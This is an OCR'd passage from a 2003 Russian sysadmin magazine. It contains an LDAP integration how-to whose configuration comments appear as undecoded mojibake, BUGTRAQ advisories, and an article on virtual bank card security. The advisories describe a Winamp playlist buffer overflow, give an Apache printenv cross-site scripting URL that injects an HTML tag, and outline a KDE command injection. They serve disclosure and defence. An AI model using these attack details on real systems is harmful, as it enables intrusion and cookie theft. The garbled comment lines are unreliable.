После настройки администраторской записи в ldap SAMBA может корректно работать с деревом директорий. При правильной компиляции (с флагом –with-ldapsam) smbpasswd будет добавлять пользователей и машины в каталог LDAP, при этом smbpasswd будет использовать passwd и groups из nsswitch (при правильной настройке nss можно также брать всю инфу из LDAP, т.к. SAMBA обращается к passwd через nss), добавляем пользователей: # smbpasswd -a <username>

добавляем машину (для SAMBA-контроллера домена): # smbpasswd

-m -a <mach_name>$

После этого проверяем результат:


безопасность # ldapsearch -ZZ -H localhost -b "o=smb, dc=test, dc=ru" "uid=pc1$" -dn: uid=icb$, o=smb, dc=test, dc=ru objectClass: sambaAccount uid: pc1$ pwdLastSet: 0 logonTime: 0 logoffTime: 2147483647 kickoffTime: 2147483647 pwdCanChange: 0 pwdMustChange: 2147483647 displayName: MustdiePC cn: PC1 rid: 2054 primaryGroupID: 1201 lmPassword: 56D989A3C45BBAD3462E8109C329E116 ntPassword: 56D989A3C45BBAD3462E8109C129E116 acctFlags: [W ] --

Далее вы можете изменять информацию профиля пользователя. Например, весьма полезны атрибуты scriptPath (скрипт, выполняющийся при логине клиента), homeDrive (диск домашней директории), profilePath (путь к профилю), pwdMustChange (необходимость смены пароля пользователем). Для изменения базы данных LDAP на лету существует команда ldapmodify, которая, как и команда ldapadd, работает с файлами ldiff. Я не буду подробно описывать формат этого файла, а просто приведу пример изменения нужных атрибутов: dn: uid=001, o=smb, dc=test, dc=ru changetype: modify replace: profilePath profilePath: \\%N\profiles\user1 replace: scripthPath scripthPath: 001.bat replace: homeDrive homeDrive: Z: replace: pwdCanChange pwdCanChange: 0 replace: pwdMustChange pwdMustChange: 0 replace: primaryGroupID primaryGroupID: 513 -

Для добавления информации в базу воспользуйтесь командой: $ ldapmodify -H localhost -D "<admin_DN>" -W -ZZ -l modification.ldif

(Примечание: в руководствах говорится, что надо использовать ключ -f, а не -l, но у меня по-другому не работало, хотя, наверное, я что-то делаю не так). Любителям готовых примеров посоветую сходить на http://www.unav.es/

№2(3), февраль 2003

cti/ldap-smb/ldap-smb-2_2-howto.html – отличный пример настройки контроллера домена с LDAP (не буду же я здесь приводить все эти конфиги, а мои собственные исторической ценности не имеют). Напоследок скажу ещё об одном приложении, работающем непосредственно с LDAP, – это squid. Для него существует модуль, позволяющий выполнить http-аутентификацию, используя базу LDAP. В исходных текстах сквида можно найти модуль, squid_ldap_auth, представляющий собой внешнюю программу, его исходные тексты находятся в каталоге auth_modules/LDAP. Скомпилировав её обычным образом (./configure -> make -> make install), получаем обычный исполняемый файл squid_ldap_auth. После установки модуля добавляем такие строчки в squid.conf: authenticate_program /usr/squid/ libexec/squid/squid_ldap_auth -b dc=test,dc=ru localhost

Вначале указываем путь к исполняемому файлу, затем основной суффикс базы LDAP и LDAP-сервер (localhost у меня). Далее в squid.conf добавляем права доступа(ACL): # Çàñòàâëÿåì âñåõ àóòåíòèôèöèðî# âàòüñÿ äëÿ äîñòóïà ê ïðîêñè acl password proxy_auth REQUIRED # Âîçìîæåí äîñòóï http âñåì, êòî # ïðîø¸ë ïðîâåðêó http_access allow password # Îñòàëüíûõ øëåì ïîãóëÿòü http_access deny all

Теперь о возможности работы с LDAP апача. Апач имеет модуль mod_auth_ldap, который позволяет производить http-аутентификацию через LDAP-сервер. Здесь я опять же ограничусь только примером типичной настройки аутентификации через ldap: httpd.conf # Çàãðóæàåì ìîäóëü àóòåíòèôèêàöèè. # Îáû÷íî íàõîäèòñÿ â extramodules LoadModule auth_ldap_module extramodules/auth_ldap.so AddModule auth_ldap.c # Îïðåäåëåíèÿ àóòåíòèôèêàöèè ÷åðåç # ldap äëÿ êîíêðåòíîãî êàòàëîãà <Directory /var/www/secure> # Ýòî îñíîâíîé êîíòåêñò äëÿ ïîèñêà # ñîîòâåòñòâèÿ ïîëüçîâàòåëÿ è ïàðîëÿ # â áàçå LDAP, åñëè äàííàÿ îïöèÿ íå # óêàçàíà, íî èñïîëüçóåòñÿ àíîíèìíûé # äîñòóï (÷òî îáû÷íî çàïðåùàåòñÿ â

# öåëÿõ áåçîïàñíîñòè). AuthLDAPBindDN cn=proxy,dc=test,dc=ru # Ïàðîëü äëÿ îñíîâíîãî êîíòåêñòà AuthLDAPBindPassword secret # Âêëþ÷åíèå ìåõàíèçìà TLS äëÿ äîñòóïà # ê ñåðâåðó ldap (ïî óìîë÷àíèþ off) AuthLDAPStartTLS on # Îñíîâíîé ïàðàìåòð, êîòîðûé # îïðåäåëÿåò ñåðâåð ldap, dn ïîèñêà, # àòðèáóòû è ôèëüòð, ïî êîòîðîìó # âûïîëíÿåòñÿ àóòåíòèôèêàöèÿ: # ldaps://host:port/ basedn?attribute? # scope?filter, ãäå basedn áàçîâûé # dn äëÿ ïîèñêà (èùåòñÿ òîëüêî â äàí# íîé âåòâè äåðåâà è å¸ ïîòîìêàõ) # attribute – ñïèñîê àòðèáóòîâ, # ðàçäåëÿåìûõ çàïÿòîé, ïî êîòîðûì # ïðîèçâîäèòñÿ ïîèñê (ïî óìîë÷àíèþ # èñïîëüçóåòñÿ àòðèáóò uid) # scope - ôëàã, îïðåäåëÿþùèé òèï # âîçâðàùàåìûõ çíà÷åíèé one - èùåòñÿ # ïåðâîå âûðàæåíèå, sub - èùóòñÿ âñå # âûðàæåíèÿ, ñîîòâåòñòâóþùèå # ôèëüòðó (ïðèíÿòî ïî óìîë÷àíèþ). # filter - ñòðîêà, îïðåäåëÿþùàÿ # ôèëüòð ïîèñêà ýëåìåíòîâ ldap, # çàêëþ÷àåòñÿ â ñêîáêè, ïî óìîë÷àíèþ # ðàâíà (objectclass=*). Ôèëüòð ìîæåò # ñîäåðæàòü ëîãè÷åñêèå âûðàæåíèÿ | # è & êîòîðûå äîëæíû ñòîÿòü íå ìåæäó # äâóìÿ ñêîáêàìè, à ÏÅÐÅÄ íèìè. # Ïðèâåäó íåñêîëüêî ïðèìåðîâ ôèëüò# ðîâ: (|(cn=admin)(uid=root)) – # èëè cn admin èëè UID root # (cn=admin) - òîëüêî cn = admin #  äàííîì ïðèìåðå äîïóñòèìûì ÿâëÿþò# ñÿ òîëüêî îáúåêòû, ïðèíàäëåæàùèå basedn # O=myorg, OU=sysopka AuthLDAPUrl ldaps://test.ru/ O=myorg, OU=sysopka # Òðåáóåì òîëüêî ïîëüçîâàòåëåé, # ïðîøåäøèõ ïðîâåðêó íà ldap-ñåðâåðå require valid-user </Directory>

Существует ещё несколько опций модуля, но они используются реже, и о них можно почитать в документации. Proftpd имеет схожий модуль auth-ldap, но здесь описывать его я не буду, т.к. настройка модуля ftp-сервера очень похожа на конфигурацию апача. Настройка почтовых серверов также не представляет особой проблемы. Я, например, без проблем настроил postfix и курьер, последний настраивать особенно легко, т.к. он работает сразу же после того, как указывается LDAP-сервер, основной dn, запись администратора и её пароль в открытом виде для доступа к полям паролей пользователей (опять же можно использовать proxy). Конфигурация postfix несколько сложнее: main.cf virtual_maps = ldap:ldapvirtual # Ñåðâåð ldap è ïîðò ldapvirtual_server_host = test.ru ldapvirtual_server_port = 389 # Îñíîâíîé dn äëÿ ïîèñêà ïî áàçå

81


безопасность ldapvirtual_search_base = ou=mail, o=YourOrg, c=nl # Äîìåí äëÿ ïîèñêà ldapvirtual_domain = test.ru # Àòðèáóò, êîòîðûé äîëæåí ÷èòàòü # postfix ïðè ðàáîòå ñ ldap (ïî # e-mail àäðåñó îïðåäåëÿåòñÿ ïóòü). ldapvirtual_result_attribute = maildrop # Ñ÷èòûâàåì îäíó çàïèñü èç âûáîðêè ldapvirtual_scope = one # Îñíîâíîé êîíòåêñò è ïàðîëü ldapvirtual_bind_dn = cn=proxy, dc=test, dc=ru ldapvirtual_bind_pw = secret

Реплики Ну вот, с интеграцией LDAP разобрались... Пора рассказать о дополнительных возможностях данной системы. Итак, реплики. Реплики – это одна из мощных возможностей системы директорий LDAP. Реплики – это раскопирование базы данных LDAP по нескольким серверам, т.е. фактически само дерево «размазывается» по серверам. Реплика существует между несколькими серверами, один из которых является primary (это похоже на службу DNS, только немного для других целей). В таком случае первичный сервер обрабатывает запросы на запись и на чтение, а вторичные – только на чтение. При модификации данных на главном сервере он заходит на все вторичные и синхронизирует их базы со своей. Для создания реплик необходимо три вещи: настройка файлов slapd.conf главного и вторичных серверов; первоначальный перенос основной базы с основного сервера на вторичные; запуск демона slurpd, который и осуществляет синхронизацию серверов. После осуществления всего этого можно разбивать пользователей на группы и указывать для их клиентов определённый LDAP-сервер и создать основной сервер, который будет все вторичные синхронизировать (звездообразная схема). При этом любые изменения в базе любого из LDAP-серверов будут раскопированы на все сервера, включая основной. Вот примерная схема действия реплики при получении запроса от клиента. Вторичный LDAP-сервер получает запрос на изменение и говорит клиенту, что надо изменить данные на основном сервере (то есть пере-

82

направляет клиента к главному).

Клиент посылает запрос главному

серверу, который он обрабатывает. При этом сервер знает, что клиент был к нему перенаправлен (это записывается в лог реплики). slurpd замечает (после прошествия некоторого времени), что данные были обновлены, и осуществляет синхронизацию. Вторичные сервера получают запрос от slurpd главного сервера и, обновив данные у себя, посылают ответ slurpd, этот ответ также может быть записан в лог реплики.

Ну всё, хватит теории, начинаем настройку. Для начала поправим slapd.conf: # Ýòî îñíîâíîé ñåðâåð! # Äîáàâèì íåñêîëüêî ðåïëèê. Êàæäàÿ # äèðåêòèâà ñîîòâåòñòâóåò îäíîìó # âòîðè÷íîìó ldap-ñåðâåðó. Óêàçûâàåì # àäðåñ âòîðè÷íîãî ñåðâåðà(host), # dn äëÿ ðåïëèêàòîðà, ìåòîä # àóòåíòèôèêàöèè è ïàðîëü ðåïëèêàöèè # (ïàðîëü äëÿ äàííîãî dn).  êà÷åñòâå # ðåïëèêàòîðà ìîæíî èñïîëüçîâàòü ðó# òà. ×åñòíî ãîâîðÿ, äëÿ ðåïëèê ÿ áû # ñîçäàë òóííåëü ÷åðåç ssh èëè stun# nel è ïðèñîåäèíÿëñÿ áû íå ê óäàë¸í# íîìó õîñòó ê ïîðòó 389, à ê ëîêàëü# íîìó íà íàçíà÷åííûé ïîðò (äëÿ ðàç# íûõ ðàáîâ ìîæíî ñäåëàòü íåñêîëüêî # òóííåëåé) replica host=slave1.test.ru:389 binddn="cn=replicator, dc=test, dc=ru" bindmethod=simple credentials=replicator_password # Ñëåäóþùèé ðàá replica host=slave2.test.ru:389 binddn="cn=replicator, dc=test, dc=ru" bindmethod=simple credentials=replicator_password # Çàïèñûâàåì äàííûå ðåïëèê â log# ôàéë, ýòî äåëàòü íåîáÿçàòåëüíî # (äàæå íåæåëàòåëüíî, ò.ê. ïîíèæàåò # ïðîèçâîäèòåëüíîñòü). Ýòà îïöèÿ åäè# íà äëÿ âñåõ âòîðè÷íûõ ñåðâåðîâ replogfile /var/log/ldap/ replica.log

После чего на вторичных серверах вносим ещё пару строк в slapd.conf: # Ýòî âòîðè÷íûé ñåðâåð! # Íåëüçÿ èñïîëüçîâàòü äèðåêòèâû # replica replogfile. Íåîáõîäèìî # ñîçäàòü íåêèé updatedn, ñîâïàäàþùèé # ñ binddn îñíîâíîãî ñåðâåðà, # ïî êîòîðîìó ãëàâíûé áóäåò # ìîäèôèöèðîâàòü äàííûå. updatedn="cn=replicator,dc=test,dc=ru" # Âêëþ÷àåì àäðåñ îñíîâíîãî ñåðâåðà # ldap, êóäà áóäåò ïåðåíàïðàâëÿòüñÿ # êëèåíò, ïûòàþùèéñÿ ìîäèôèöèðîâàòü # äàííûå updateref master.test.ru:389 # Íàäî äàòü íåîáõîäèìûå ïðèâèëåãèè # ðåïëèêàòîðó, ò.ê. åìó íåîáõîäèì # äîñòóï íà çàïèñü äàííûõ access to * by dn="cn=root, dc=test, dc=ru" write by dn="cn=replicator, dc=test, dc=ru"

write by self write

После настройки всех серверов необходимо перекопировать содержимое базы данных LDAP основного сервера на все вторичные сервера, для этого необходимо перенести содержимое DatabaseDir физически(!). После всего этого желательно проиндексировать базу, иначе поиск по ней замедляется: slapindex -f /etc/ldap/slapd.conf -b "dc=test, dc=ru"

Затем на главном сервере запускаем slurpd: # slurpd

Использование stunnel в данном случае также приемлемо – на главном сервере устанавливаются клиенты туннеля, которые направлены ко вторичным LDAP-серверам, но на сервере эти туннели будут висеть на разных портах, и LDAP-сервер будет соединяться с локальными туннелями, висящими на портах, которые соответствуют рабам ldap: stunnel -c -d 9636 -r slave1.test.ru:636 stunnel -c -d 10636 -r slave2.test.ru:636

И это всё! Если вторичный сервер не сможет пробиться к основному (например, электрик дядя Ваня дерзко перерубил оптоволокно), то клиент, подключенный к вторичному серверу, сможет читать информацию, но изменять её не сможет. А если в результате боевых действий рухнул винт, то с любого вторичного сервера можно будет восстановить первозданную базу LDAP (какой она была до краха основного сервера). По такой распределённой схеме можно создавать сколь угодно большую сеть, так как основными являются запросы на чтение, и нагружаться будут вторичные сервера.

Создание объектов LDAP Файлы схем LDAP, как уже было сказано, является расширяемой объектно-ориентированной системой, и вы можете добавлять новые классы с новыми атрибутами в базу LDAP. Для этой цели су-


безопасность ществуют файлы схем. В файле схемы описываются классы и их атрибуты, чтобы подключить схему к LDAP, необходимо прописать в файле slapd.conf полный путь к нужной схеме. По умолчанию к LDAP подключены несколько основных схем, существуют также сторонние схемы, например для SAMBA или некоторых почтовых серверов. Чтобы эти схемы использовать, в slapd.conf прописывают нечто подобное: # Âêëþ÷àåì ñõåìû ïî óìîë÷àíèþ # êîìàíäîé include include /usr/share/openldap/schema/ core.schema include /usr/share/openldap/schema/ cosine.schema include /usr/share/openldap/schema/ inetorgperson.schema # Âêëþ÷àåì ñõåìó ñàìáû include /usr/share/openldap/schema/ samba.schema # Âêëþ÷àåì ñâîþ ñõåìó include /usr/share/openldap/schema/ my_cool.schema

Теперь разберёмся, как эти схемы создавать. Если вы откроете какуюнибудь схему, то сначала всё покажется довольно жутким. Хочу сразу же вас обрадовать: это действительно жутко! Чтобы хоть чего-то объяснить расскажу об OID. OID (уникальный идентификатор объекта) используется LDAP, чтобы не было наложений классов и их атрибутов. OID состоит из числовых значений разделённых точкой и составляющих в целом иерархию OID: 1.1 OID äàííîé îðãàíèçàöèè(âûáèðàåòñÿ ëþáîé) 1.1.2 Ñàìè èäåíòèôèêàòîðû LDAP 1.1.2.1 Àòðèáóòû êëàññîâ 1.1.2.1.1 Êîíêðåòíûé àòðèáóò(ìåíÿåì ïîñëåäíþþ öèôðó äëÿ êàæäîãî àòðèáóòà) 1.1.2.2 Ñàìè êëàññû 1.1.2.2.1 Êîíêðåòíûé êëàññ

Для получения OID можно зайти на узел www.iana.org (начинается с 1.3.6.1.4). Вообще, как я понял, составление иерархии OID – дело довольно проблематичное. Проще всего взять какой-либо OID для атрибутов (обычной базой OID является 1.3.6.1.4) и для классов, а затем просто добавить ещё несколько цифр. А вообще, лучше просто посмот-

№2(3), февраль 2003

реть, как сделано в готовых схемах (я думаю, что изменить последнюю пару чисел готового OID не составит труда, а описывать это мне представляется совершенно ненужным). После сочинения OID перейдём к добавлению новых атрибутов. Для этой цели используется директива attributetype. Вот как выглядят описания атрибутов в схеме SAMBA (приведён маленький фрагмент): attributetype ( 1.2.840.113556.1.4.8 NAME 'userAccountControl' SYNTAX 1.3.6.1.4.1.1466.115.121.1.27 SINGLE-VALUE ) attributetype (1.2.840.113556.1.4.166 NAME 'groupMembershipSAM' SYNTAX 1.3.6.1.4.1.1466.115.121.1.40 SINGLE-VALUE ) attributetype (1.2.840.113556.1.4.213 NAME 'defaultClassStore' SYNTAX 1.3.6.1.4.1.1466.115.121.1.12)

Как видно, в скобках идёт вначале OID атрибута, затем NAME и имя атрибута в кавычках, а затем тип атрибута. Вот тут немного остановлюсь. Видно, что тип атрибута – это также OID (ужас-то какой, но это позволяет добавлять даже свои типы). Стандартно предопределено несколько типов: ëîãè÷åñêèé 1.3.6.1.4.1.1466.115.121.1.7 èìÿ LDAP(DN) 1.3.6.1.4.1.1466.115.121.1.12 ñòðîêà ôîðìàòà UTF-8 1.3.6.1.4.1.1466.115.121.1.15 ñòðîêà ASCII 1.3.6.1.4.1.1466.115.121.1.26 öåëîå 1.3.6.1.4.1.1466.115.121.1.27 DN è èäåíòèôèêàòîð ïîëüçîâàòåëÿ(UID) 1.3.6.1.4.1.1466.115.121.1.34 ñòðîêà èç ÷èñåë 1.3.6.1.4.1.1466.115.121.1.36 OID 1.3.6.1.4.1.1466.115.121.1.38

Кроме типа атрибута можно указывать дополнительные его параметры: DESC – строка (обычный текст), которая описывает данный атрибут. SUP – строка (имя) или OID родительского атрибута (происходит наследование синтаксиса родительского атрибута). EQUALITY – строка (наименование) или OID метода поиска, например, caseIgnoreMatch для поиска данного атрибута без учёта регистра. SINGLE-VALUE – просто флаг (после него должен обязательно сто-

ять пробел!), который указывает, что данный атрибут может принимать только единственное значение (по умолчанию ему можно присваивать несколько значений). NO-USER-MODIFICATION – флаг, запрещающий модификацию данного атрибута пользователем (по умолчанию модификация разрешена).

При составлении схемы учтите, что после каждой лексемы (включая скобки и флаги) должен идти один пробел. Приведу пример составления атрибута картинки как пути к jpg-файлу: attributetype ( 1.1.2.1.2 NAME 'pic' DESC 'my jpeg picture' SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )

И, например, картинки на сайте, представленной в виде URL: attributetype ( 1.1.2.1.3 NAME 'URLpic' DESC 'URL to picture' SUP pic )

Создание нового класса несколько проще, приведу пример класса cronEntry из cron.schema: objectclass (1.3.6.1.4.1.7006.1.3.2.1 NAME 'cronEntry' SUP top STRUCTURAL MUST ( cn $ cronCommand $ uid ) MAY ( cronHost $ cronMinute $ cronHour $ cronDay $ cronMonth $ cronDayOfWeek $ owner $ description ) )

Вначале идёт OID, имя (не забудьте кавычки), родительский класс (наследуются атрибуты), тип класса (для знакомых с объектно-ориентированной моделью объясняю: ABSTRACT – абстрактный (нельзя делать объекты данного класса, можно только наследовать) и STRUCTURAL – обычный (по умолчанию)). Далее идут поля атрибутов для класса: MUST – обязательные атрибуты, MAY – необязательные. Список атрибутов заключается в скобки и разделяется по странной прихоти не запятыми, а знаками доллара (очевидно, это намёк разработчиков). Думаю, тут можно ещё раз напомнить о необходимости пробелов после каждой лексемы (и долла-

83


безопасность ров тоже). Вот видите, создание объектов – не такая уж и тяжёлая вещь. Примеров приводить не буду, т.к. класс cronEntry является идеальным объектом для рассмотрения. Честно говоря, я всё-таки рекомендовал бы всем, кто собирается создавать новую схему, посмотреть существующие, т.к. во-первых, необходимо убедиться в уникальности OID, а во-вторых, меньше будет ошибок в своей схеме.

В качестве заключения Я думаю, что если у вас в распоряжении находится крупная сеть, то применение LDAP является идеальным решением централизованного управления аутентификацией на всех уровнях. Использование реплик делает LDAP надёжным, а хорошие методы шифрования обеспечивают приличную степень безопасности. Кроме этого, LDAP

84

является довольно быстрым механизмом поиска и, что очень важно, хранит всё в древовидной базе данных. Для небольших сетей, я думаю, лучше использовать текстовые файлы: просто и сердито, а главное быстрее чем LDAP. Но в крупных сетях это приведёт к тихому ужасу, связанному с конфликтами разных пользователей, машин, серверов. Я сам был свидетелем сетки из ~1000 машин, соединённых банальной сеткой мелкомягких (без доменов!), где NovellNetware использовалась лишь как файл-сервер. LDAP и SAMBA в этом случае снимают большинство этих проблем. Итак, на этот раз всё. В следующий раз я расскажу о популярных LDAP-клиентах и серверах, о создании собственных клиентов. Список полезных ссылок: http://www.tldp.org – LDAP HOWTO и LDAP-implementation HOWTO;

http://www.openldap.org – ldap guide (aka HOWTO, обычно самое новое руководство); http://www.mandrakesecure.net/ en/docs/ldap-auth.php – очень приличная статья Vincent Danena, которая описывает принципы настройки LDAP; http://www.opennet.ru – статья по работе с LDAP на русском языке, но она довольно старая, хотя там немало полезного материала. К сожалению, в данной статье я упустил из виду некоторые вещи по работе с LDAP, например, работу с SASL, Kerberos, описание програмных компонентов ldap. Постараюсь закрыть эти недостатки в следующих статьях. LDAP – довольно сложная система, поэтому охватить всё не удалось. Надеюсь, что кому-то мои труды пошли на пользу.


BUGTRAQ Переполнение буфера в Winamp Winamp поддерживает проигрывание b4s-файлов, которые составляются посредством xml. Синтаксис таков: <?xml version="1.0" encoding='UTF-8' standalone="yes"?> <WinampXML> <!-- Generated by: Nullsoft Winamp3 version 3.0 --> <playlist num_entries="[êîë-âî çàïèñåé]" label="[íàçâàíèå_list'a]"> <entry Playstring="file:[ïóòü_ê_çâóêîâîìó_ôàéëó]"> <Name>[íàçâàíè_ïåñíè]</Name> <Length>[âåëè÷èíà_â_áàéòàõ]</Lengt> </entry> </playlist> </WinampXML>

Переполнение буфера происходит при обработке чрезмерно длинного названия листа (4-ая строчка). Причем есть некоторые нюансы: При получении 16 398 байт переполнение происходит только при выходе из WinAmp’a. 4-мя байтами затирается eax и retaddr (причем ret находится в регистре eax). Если же название листа еще увеличить на ~100b, переполнение произойдет сразу же при запуске. 12-ю байтами перезапишутся ecx, esi и retaddr. Хотя, что касается адресного пространства, данные могут разниться в зависимости от билда WinAmp’a и вообще операционной системы. Так или иначе, составить b4s’ку, протроянивающую систему, не составляет никакого труда. Уязвимость обнаружена D4rkGr3y из Damage Hacking Group.

№2(3), февраль 2003

Межсайтовый скриптинг в Apache Уязвимость межсайтового скриптинга обнаружена в типовом сценарии “printenv”, поставляемом с Apache веб-сервером. Уязвимость позволяет удаленному атакующему создать злонамеренную ссылку, содержащую произвольный код сценария в параметрах уязвимого скрипта, который будет выполнен в браузере пользователя в контексте уязвимого сайта при клике на такую ссылку. Уязвимость позволяет атакующему красть данные, хранящиеся в куки пользователя. Пример: http://www.example.com/cgi-bin/printenv/<a href="bad">test</a>

Уязвимость обнаружена в Apache Software Foundation Apache 1.3.22-2.0.43.

Множественные уязвимости в KDE В некоторых случаях KDE неправильно приводит параметры инструкций, переданные в командную оболочку для исполнения. Эти параметры могут содержать данные типа URL, имен файлов и адресов электронной почты, и эти данные могут быть дистанционно преданы жертве в электронном сообщении, веб-странице или через другие источники. Тщательно обрабатывая такие данные, нападающий может выполнить произвольные команды на уязвимой системе с привилегиями текущего пользователя. Уязвимость обнаружена в KDE 2.0-3.0.5.

85


безопасность

БЕЗОПАСНОСТЬ ТЕХНОЛОГИИ ВИРТУАЛЬНЫХ КАРТ

СЕРГЕЙ РОПЧАН Смысл виртуальной карты заключается в том, чтобы психологически «раскрепостить» клиента при совершении электронных покупок. Действительно, карта, которой пользуется покупатель, связана с небольшим по размеру счетом, и потому весь риск покупателя ограничен потерей средств на нем. Идея виртуальной карты (е-card) основана на том, что во время проведения CNP-транзакции (CPN-Cardholder Not Present – операция покупки по пластиковой карте, в момент совершения которой клиент не присутствует лично в торговой точке, а сообщает ей реквизиты своей карты, необходимые для проведения авторизации) пластиковая карта как физический объект не применяется. Используются лишь реквизиты карты, и совсем необязательно, чтобы они были нанесены на пластик. Поэтому можно выделить отдельные, предназначенные специально для электронной коммерции номера карт с сопутствующими им реквизитами, и «привязать» к таким виртуальным картам счета с небольшим остатком. В этом случае клиент будет застрахован от крупных потерь, связанных с риском мошенничества. Гута Банк стал первым российским банком, который приступил к эмиссии виртуальных карт платежной системы VISA, получивших название VISA E-c@rd и специально предназначенных для осуществления платежей в Интернете. Проект был запущен летом 2000 года, после того как компания VISA International завершила сертификацию VISA E-c@rd и официально санкционировала их эмиссию Гута Банком. Карты VISA E-c@rd предназначены для оплаты через Интернет любых видов товаров и услуг в любых электронных магазинах во всем мире, в том числе для оплаты услуг операторов

86

сотовой связи, интернет-провайдеров, туристических компаний, предприятий гостиничного бизнеса и т. д. Для проведения других операций (расчетов в обычной торговой сети, получения наличных денежных средств) карта VISA E-c@rd не предназначена. Использование виртуальной карты удобно для клиента в случае, когда банк-эмитент дополнительно предоставляет ему услуги интернет-банкинга для управления своими счетами. В этом случае клиент в удаленном режиме при помощи только персонального компьютера, подключенного к Интернету, может в режиме реального времени перевести средства со своего «главного» счета на счет, связанный с виртуальной картой, в количестве, необходимом для совершения намеченных электронных покупок. Требования к виртуальным картам состоят в следующем: виртуальная карта должна иметь номер (например, система MasterCard требует, чтобы номер карты состоял из 16 цифр) и срок действия; система MasterCard требует, чтобы с виртуальной картой была связана величина CVC2 (VISA оставляет вопрос использования величины CVV2 для виртуальной карты на решение эмитента карты); к виртуальным картам применяются те же правила, что и к обычным картам, за исключением правил, которые связаны с физическими характеристиками карт;

эмитенты должны понятным для

клиента образом передать ему номер карты, ее срок действия и т. п., а также способ ее использования; эмитенты должны утвердить выпуск виртуальных карт в соответствующих департаментах сертификации карт международных платежных систем; эмитент должен ясно объяснить владельцу виртуальной карты, что она не может использоваться в режиме Dual Mode, когда авторизация производится по виртуальной карте, а презентмент сформирован по обычной карте, привязанной к тому же счету, что и виртуальная карта.

Для того чтобы передать клиенту реквизиты виртуальной карты, эмитент может использовать некоторый физический носитель информации о реквизитах карты (Reference Device – RD). RD по своим физическим характеристикам должен явным образом отличаться от обычной карты. В частности, RD не должен иметь тех же размеров и пропорций, что и обычная карта, содержать голограмм платежных систем, а также магнитной полосы и чипа. В то же время на физическом носителе должен находиться логотип платежной системы, размеры и цвет которого определяются правилами платежной системы. Дизайн физического носителя, а также иные средства доведения информации о реквизитах


безопасность карты и правилах ее использования должны пройти обязательную сертификацию в платежной системе. Другое важное требование международных платежных систем заключается в том, что виртуальная карта может быть выдана: владельцу «физической» карты; клиенту, не имеющему «физической» карты платежной системы, но имеющему возможность получить ее по его первому требованию. Эти условия по замыслу платежных систем должны сформировать столь же серьезное отношение банка-эмитента к виртуальной карте, как и к обычной, поскольку ответственность банка за своего клиента-владельца виртуальной карты не меняется по сравнению со случаем владельца обычной карты. Ключевым фактором в реализации программ виртуальных карт является небольшое время, необходимое международным системам и банкамэмитентам для их запуска. Сегодня это время оценивается в две недели.

Виртуальные номера карт Идея виртуальной карты получила развитие в технологии виртуального номера карты (используются также термины pseudo card number и proxy card number). Суть этой технологии заключается в том, что при заполнении формы торгового предприятия во время операции по оплате владелец карты вместо реального номера карты сообщает интернетмагазину некоторый случайный номер. После того как транзакция поступает в систему эмитента для авторизации, производится обратное преобразование виртуального номера карты в реальный номер. В результате при выполнении операций покупки реальный номер карты никогда не передается в платежную сеть и остается в системе эмитента. Таким образом, вероятность компрометации реальных номеров карт, а также вероятность успешного совершения транзакции мошенником становятся близкими к нулю. Технически идея виртуального номера карты может быть реализована следующим образом. Клиент для оплаты электронных покупок с

№2(3), февраль 2003

помощью технологии виртуального номера карты должен установить на свой компьютер специальное ПО. После того как клиент получает от интернет-магазина для заполнения форму, содержащую информацию о реквизитах карты, ПО клиента инициирует обращение к системе своего эмитента. Эмитент генерирует для клиента виртуальный номер карты и возвращает его клиенту. При этом эмитент контролирует в некотором смысле уникальность сгенерированного номера карты, а также принадлежность префикса карты к выделенному для эмитента диапазону значений BIN. После этого транзакция выполняется обычным образом. Клиент направляет интернет-магазину заполненную форму, в которой в качестве номера карты фигурирует виртуальный номер. В результате выполнения стандартных процедур обработки транзакции в системе обслуживающего банка и платежной системы из последней в систему эмитента поступает авторизационный запрос, содержащий виртуальный номер карты. Эмитент, получив авторизационный запрос, устанавливает соответствие между данными, сгенерированными при инициализации транзакции, и данными авторизационного запроса. Соответствие ищется по целому ряду параметров. Например, система MasterCard к обязательным параметрам относит номер карты, срок ее действия, имя магазина (Merchant Name), идентификатор магазина (Merchant ID), сумму транзакции и валюту транзакции. Эмитент определяет реальный номер карты, выполняя обратное преобразование, проводит с его использованием авторизацию транзакции и результат возвращает в платежную сеть, предварительно вновь подставив в авторизационный ответ виртуальный номер карты. Если в платежной системе используется технология Single Message System (авторизационный запрос является одновременно и финансовым сообщением, требующим от эмитента возмещения средств), то процесс на этом завершается. В случае применения технологии Dual Message System (процедуры авторизации и

расчетов разделены) система эмитента будет обязана также обработать клиринговое (финансовое) сообщение, связанное с рассматриваемой транзакцией. При обработке клирингового сообщения требуется выполнить необходимую подстановку реального номера карты вместо виртуального номера. Достоинство идеи виртуального номера карты уже отмечалось. Вероятность мошенничества при реализации идеи эмитентом практически равна нулю. При этом технология работы платежной системы никак не затрагивается, начиная с уровня торговой точки – те же протоколы, форматы сообщений и т. п. В то же время идея виртуальных номеров карт имеет и ряд недостатков. Во-первых, как уже упоминалось, владелец карты должен установить на своем компьютере специальное ПО, называемое электронным кошельком. Для некоторой категории клиентов такая процедура сама по себе представляет проблему. Во-вторых, эмитент должен предложить клиенту процедуру его аутентификации во время обращения клиента за виртуальным номером в систему эмитента. Как правило, используется система паролей – клиент в защищенной сессии с системой эмитента сообщает последней свой идентификатор и кодовое слово (пароль). Здесь существуют несколько подходов к решению задачи. Наиболее надежным является получение клиентом своих идентификатора и пароля непосредственно в банке (в крайнем случае письмом из банка, причем идентификаторы клиента должны распечатываться в PIN-конверте для того, чтобы сделать информацию закрытой для банковского персонала). Этот подход является неудобным для клиента. Поэтому на практике находит применение другой, менее надежный метод. Клиент получает свои идентификаторы во время первой сессии с системой эмитента. Он идентифицирует себя, представляя эмитенту реквизиты карты, а также дополнительную информацию, запрашиваемую эмитентом (например, номер паспорта, девичью фамилию матери и т. п.). В ответ в случае положительного результата аутентификации

87


безопасность клиент получает свой идентификатор и пароль. Весь обмен информацией между клиентом и системой эмитента происходит в защищенной сессии. Логическое соединение с системой эмитента обеспечивается кошельком клиента. Более низкая защищенность этого метода связана с тем, что в процессе идентификации клиента могут быть различные подставки со стороны мошенников, имитирующих работу эмитента. В-третьих, помимо виртуального номера карты система эмитента в некоторых случаях должна в режиме реального времени генерировать значения CVC2/CVV2. Конечно, эмитент, применяющий технологию виртуальных номеров карт, может и не проверять значения CVC2. В этом случае в платежную сеть может направляться любое случайное значение CVC2. Однако при таком подходе эмитент лишается возможности использовать резервную авторизацию (авторизацию Stand-In), предоставляемую в его распоряжение многими платежными системами на случай отказа в работе системы эмитента. В режиме резервной авторизации платежная сеть от лица эмитента в соответствии с параметрами, установленными 